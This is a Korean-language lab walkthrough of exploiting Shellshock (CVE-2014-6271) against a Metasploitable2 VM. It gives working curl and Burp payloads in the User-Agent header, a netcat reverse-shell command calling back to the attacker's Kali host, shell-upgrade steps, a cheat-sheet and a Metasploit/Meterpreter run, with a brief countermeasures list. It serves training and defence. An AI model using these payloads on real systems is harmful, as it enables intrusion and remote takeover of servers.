
A complete, modern demonstration lab for CVE-2014-6271 (Shellshock), including architecture, exploitation steps, Burp Suite usage, reverse shells, countermeasures, and full command cheat-sheet.
Shellshock(CVE-2014-6271)은 발견된 원격 코드 실행 취약점 중 가장 영향력 있는 것 중 하나입니다. 이 결함은 Bash에 영향을 미치며 공격자가 환경 변수에 조작된 페이로드를 주입하기만 하면 임의의 명령을 실행할 수 있게 합니다.
이 가이드는 다음을 사용한 완전하고 재현 가능한 데모를 제공합니다:
교육, 연구, 훈련 및 일반적인 사이버 보안 인식을 위해 설계되었습니다.
이 간단한 2노드 설정은 산업 및 IoT 시스템에 여전히 존재하는 많은 레거시 배포를 반영합니다.
Metasploitable2에서:
sudo su
cd /usr/lib/cgi-bin/
cat << 'EOF' > shellshock.sh
#!/bin/bash
echo "Content-type: text/html"
echo
echo "<pre>"
env
echo "</pre>"
EOF
chmod +x shellshock.sh
a2enmod cgi
service apache2 restart
Kali에서 스크립트 테스트:
curl http://192.168.1.5/cgi-bin/shellshock.sh
환경 변수가 표시되어야 합니다.
Shellshock는 Bash가 함수 정의를 닮은 환경 변수를 잘못 구문 분석할 때 발생합니다.
다음과 같은 악의적인 변수:
() { :; }; /bin/bash -c "id"
는 함수가 실제로 호출되지 않더라도 Bash가 함수 정의 이후의 명령을 실행하게 만듭니다.
CGI 애플리케이션은 HTTP 헤더가 자동으로 환경 변수로 스크립트에 전달되기 때문에 특히 취약합니다.
curl -H 'User-Agent: () { :; }; echo; echo Vulnerable; /bin/bash -c "id"' \
http://192.168.1.5/cgi-bin/shellshock.sh
출력에는 다음이 포함되어야 합니다:
Vulnerable
uid=33(www-data)
이는 원격 코드 실행을 확인합니다.
다음 방문:
http://192.168.1.5/cgi-bin/shellshock.sh
요청을 Repeater로 보냅니다.
User-Agent 헤더를 다음으로 교체:
User-Agent: () { :; }; echo; echo BurpTest; /bin/bash -c "id"
다음이 표시되어야 합니다:
BurpTest
uid=33(www-data)
Burp Suite는 시각적이고 교육적인 방식으로 취약점을 확인합니다.
Kali에서 리스너 시작:
nc -lvnp 4444
CGI 스크립트를 통해 리버스 셸 트리거:
curl -H 'User-Agent: () { :; }; /bin/bash -c "nc 192.168.1.4 4444 -e /bin/bash"' \
http://192.168.1.5/cgi-bin/shellshock.sh
셸이 Kali에 다시 연결됩니다.
리버스 셸 내부에서:
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
세션 일시 중단:
Ctrl + Z
Kali에서:
stty raw -echo; fg
Enter를 누릅니다.
이제 다음이 있습니다:
┌────────────────────────┐
│ 공격자 (Kali) │
│ 192.168.1.4 │
└───────────┬────────────┘
│
1. 악의적인 HTTP 헤더 (Shellshock)
│
▼
┌──────────────────────────┐
│ Apache 웹 서버 (CGI) │
│ 192.168.1.5 │
└───────────┬──────────────┘
│
2. 헤더 → CGI 환경 변수
│
▼
┌──────────────────────────┐
│ Bash (취약함) │
└───────────┬──────────────┘
│
3. 주입된 명령 실행
│
▼
┌─────────────────────────┐
│ www-data 셸 접근 │
└───────────┬─────────────┘
│
4. 리버스 셸 → Kali
│
▼
┌──────────────────────────┐
│ 완전 대화형 TTY │
└──────────────────────────┘
공격의 주요 단계에 대한 시각적 워크스루입니다.
| 설명 | 이미지 |
|---|---|
| Nmap 스캔 + Shellshock 테스트 출력 |
함수 구문 분석을 올바르게 처리하는 버전으로 패치합니다.
레거시 CGI는 불필요한 시스템적 위험을 도입합니다.
다음과 같은 의심스러운 패턴을 제거합니다:
() { :; };
웹 서버 사용자(www-data) 권한을 제한합니다.
리버스 셸 및 데이터 유출을 차단합니다.
최신 WAF 시그니처는 Shellshock을 즉시 탐지합니다.
Bash 프로세스를 제한하고 의도하지 않은 동작을 차단합니다.
다음과 같은 도구 사용:
http-shellshock.nse)sudo su
cd /usr/lib/cgi-bin/
cat << 'EOF' > shellshock.sh
#!/bin/bash
echo "Content-type: text/html"
echo
echo "<pre>"
env
echo "</pre>"
EOF
chmod +x shellshock.sh
a2enmod cgi
service apache2 restart
curl http://192.168.1.5/cgi-bin/shellshock.sh
curl -H 'User-Agent: () { :; }; echo; echo Vulnerable; /bin/bash -c "id"' \
http://192.168.1.5/cgi-bin/shellshock.sh
nc -lvnp 4444
curl -H 'User-Agent: () { :; }; /bin/bash -c "nc 192.168.1.4 4444 -e /bin/bash"' \
http://192.168.1.5/cgi-bin/shellshock.sh
셸 내부:
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
일시 중단:
Ctrl + Z
Kali에서:
stty raw -echo; fg
Enter를 누릅니다.
Metasploit은 내장 모듈을 사용하여 Shellshock을 악용하는 전문적이고 자동화된 방법을 제공합니다:
exploit/multi/http/apache_mod_cgi_bash_env_exec
이 방법은 빠르고 안정적이며 자동 페이로드 스테이징(예: Meterpreter)을 제공합니다.
msfconsole
search shellshock
다음이 표시되어야 합니다 (다른 것들 중에서):
exploit/multi/http/apache_mod_cgi_bash_env_exec Apache mod_cgi Bash 환경 변수 코드 인젝션 (Shellshock)
auxiliary/scanner/http/apache_mod_cgi_bash_env Apache mod_cgi Bash 환경 변수 인젝션 (스캐너)
use exploit/multi/http/apache_mod_cgi_bash_env_exec
대상 IP 설정:
set rhosts 192.168.1.5
취약한 CGI 경로 설정:
set targeturi /cgi-bin/shellshock.sh
Kali IP 설정:
set lhost 192.168.1.4
선택적으로 수신 포트 설정:
set lport 4444
확인:
options
다음이 표시되어야 합니다:
RHOSTS 192.168.1.5
TARGETURI /cgi-bin/shellshock.sh
LHOST 192.168.1.4
LPORT 4444
METHOD GET
HEADER User-Agent
CVE CVE-2014-6271
run
성공 시:
[*] Started reverse TCP handler on 192.168.1.4:4444
[*] Command Stager progress - 100.00%
[*] Sending stage ...
[*] Meterpreter session 1 opened ...
sessions -i 1
이제 다음이 있습니다:
meterpreter >
shell
그런 다음:
id
hostname
예상 출력:
uid=33(www-data) gid=33(www-data)
metasploitable
Metasploit과 Shellshock을 사용하여 원격 명령 실행을 획득했습니다.
이 데모는 간단한 HTTP 헤더 조작, 리버스 셸, CGI 스크립트 실행 및 Metasploit 자동화를 통해 Shellshock이 어떻게 악용될 수 있는지 보여줍니다. 10년 이상이 지났음에도 Shellshock은 다음과 같은 중요한 교훈을 제공합니다:
많은 사랑을 담아 제작:
오만의 Haitham ❤️🇴🇲
| 구성 요소 | 역할 | OS | IP 주소 | 주요 서비스 |
|---|
| Kali Linux | 공격자 | Kali Linux (최신) | 192.168.1.4 | curl, Burp Suite, Netcat |
| Metasploitable2 | 대상 취약 서버 | Ubuntu Linux (MSF2) | 192.168.1.5 | Apache 2.2, CGI 스크립트, Bash |
| Apache mod_cgi | 스크립트 실행 | MSF2에서 실행 | n/a | CGI를 통해 Bash 노출 |
| shellshock.sh | 취약한 진입점 | Bash CGI | n/a | 환경 변수 표시 |
![]() |
| Burp Suite – 초기 Shellshock 요청 | ![]() |
| Burp Suite – 페이로드/헤더 주입 | ![]() |
| Kali에서 리버스 셸 수신 (nc) | ![]() |